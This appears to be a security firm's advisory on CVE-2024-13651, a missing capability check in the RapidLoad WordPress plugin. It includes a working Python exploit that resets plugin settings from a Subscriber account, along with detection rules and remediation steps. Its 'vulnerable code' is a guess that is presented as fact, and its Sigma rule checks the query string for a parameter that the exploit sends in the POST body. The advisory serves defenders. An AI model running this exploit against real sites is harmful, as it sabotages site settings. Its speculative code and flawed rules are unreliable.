CVE-2024-13651

Executive Summary

CVE-2024-13651 is a missing authorization vulnerability in the RapidLoad – Optimize Web Vitals Automatically WordPress plugin, affecting all versions up to and including 2.4.4. The flaw resides in the ajax_deactivate() function, which lacks a proper capability check. This allows authenticated attackers with Subscriber-level access or higher to reset some of the plugin's settings without authorization. The vulnerability has a CVSS score of 4.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or exploit code has been identified.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin's update channel for a patched version. Since the patch status is unknown, manual code review or disabling the plugin until a fix is released is recommended.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (settings reset)
• Availability Impact: None

The threat level is considered Medium due to the low privileges required and the potential for unauthorized modification of plugin settings, which could degrade website performance or security.

Deep Dive & Mechanics

The vulnerability exists in the ajax_deactivate() function of the RapidLoad plugin. This function is intended to handle AJAX requests for deactivating certain plugin features. However, it does not perform a capability check (e.g., current_user_can('manage_options')) before executing the reset logic. As a result, any authenticated user, including those with Subscriber-level access, can trigger the function via a crafted AJAX request.

The function likely calls update_option() or similar functions to reset plugin settings to their defaults. An attacker could exploit this to:

• Disable performance optimizations (e.g., caching, lazy loading).
• Reset security-related settings.
• Cause denial of service by repeatedly resetting settings.

The attack requires a valid WordPress user account, but since Subscriber accounts are often easy to obtain (e.g., via registration), the barrier to entry is low.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.4.4):

add_action('wp_ajax_rapidload_deactivate', 'ajax_deactivate');
function ajax_deactivate() {
    // No capability check
    // Reset settings logic
    update_option('rapidload_settings', array());
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_rapidload_deactivate', 'ajax_deactivate');
function ajax_deactivate() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // Reset settings logic
    update_option('rapidload_settings', array());
    wp_die();
}

The patch adds a capability check using current_user_can('manage_options') to ensure only administrators can reset settings.

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker with a Subscriber account can send a crafted AJAX request to the WordPress admin-ajax.php endpoint.

Exploit Code (Python):

import requests

target_url = "http://example.com/wp-admin/admin-ajax.php"
username = "subscriber_user"
password = "subscriber_pass"

session = requests.Session()
session.post(target_url.replace("admin-ajax.php", "wp-login.php"), data={
    "log": username,
    "pwd": password,
    "wp-submit": "Log In"
})

data = {
    "action": "rapidload_deactivate"
}
response = session.post(target_url, data=data)
print("Settings reset attempted. Response:", response.text)

Lab Setup:

1. Install WordPress with the RapidLoad plugin version 2.4.4.
2. Create a Subscriber-level user account.
3. Run the exploit script to reset plugin settings.

Blue Team

• Monitor AJAX requests to admin-ajax.php with the action parameter set to rapidload_deactivate.
• Log all requests from non-admin users to this endpoint.
• Implement Web Application Firewall (WAF) rules to block such requests from low-privilege users.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=rapidload_deactivate from non-admin IPs.
• System IOCs:
  • Unexpected changes to RapidLoad plugin settings in the WordPress database (e.g., wp_options table where option_name like rapidload_%).
• Log IOCs:
  • WordPress debug log entries showing wp_ajax_rapidload_deactivate being called by users with Subscriber role.

Detection Engineering

YARA Rule

rule CVE_2024_13651_RapidLoad_Missing_Auth {
    meta:
        description = "Detects missing capability check in RapidLoad plugin ajax_deactivate function"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13651"
    strings:
        $func = "ajax_deactivate" nocase
        $hook = "wp_ajax_rapidload_deactivate" nocase
        $no_check = "current_user_can" nocase
    condition:
        $func and $hook and not $no_check
}

Sigma Rule

title: CVE-2024-13651 RapidLoad AJAX Deactivate Missing Auth
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects unauthorized AJAX requests to reset RapidLoad plugin settings
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: admin-ajax.php
        cs-uri-query|contains: action=rapidload_deactivate
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13651 RapidLoad AJAX Deactivate Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=rapidload_deactivate"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the RapidLoad plugin until a patched version is released.
2. Update: Monitor the WordPress plugin repository for an update (version > 2.4.4) and apply it immediately.
3. Workaround: If the plugin must remain active, implement a custom capability check by adding a filter or modifying the plugin code (not recommended for production).
4. Access Control: Review and restrict user registration to prevent unauthorized Subscriber accounts.
5. Monitoring: Enable logging for AJAX requests and review logs for suspicious activity.

Valters IT Securing digital frontiers, one CVE at a time.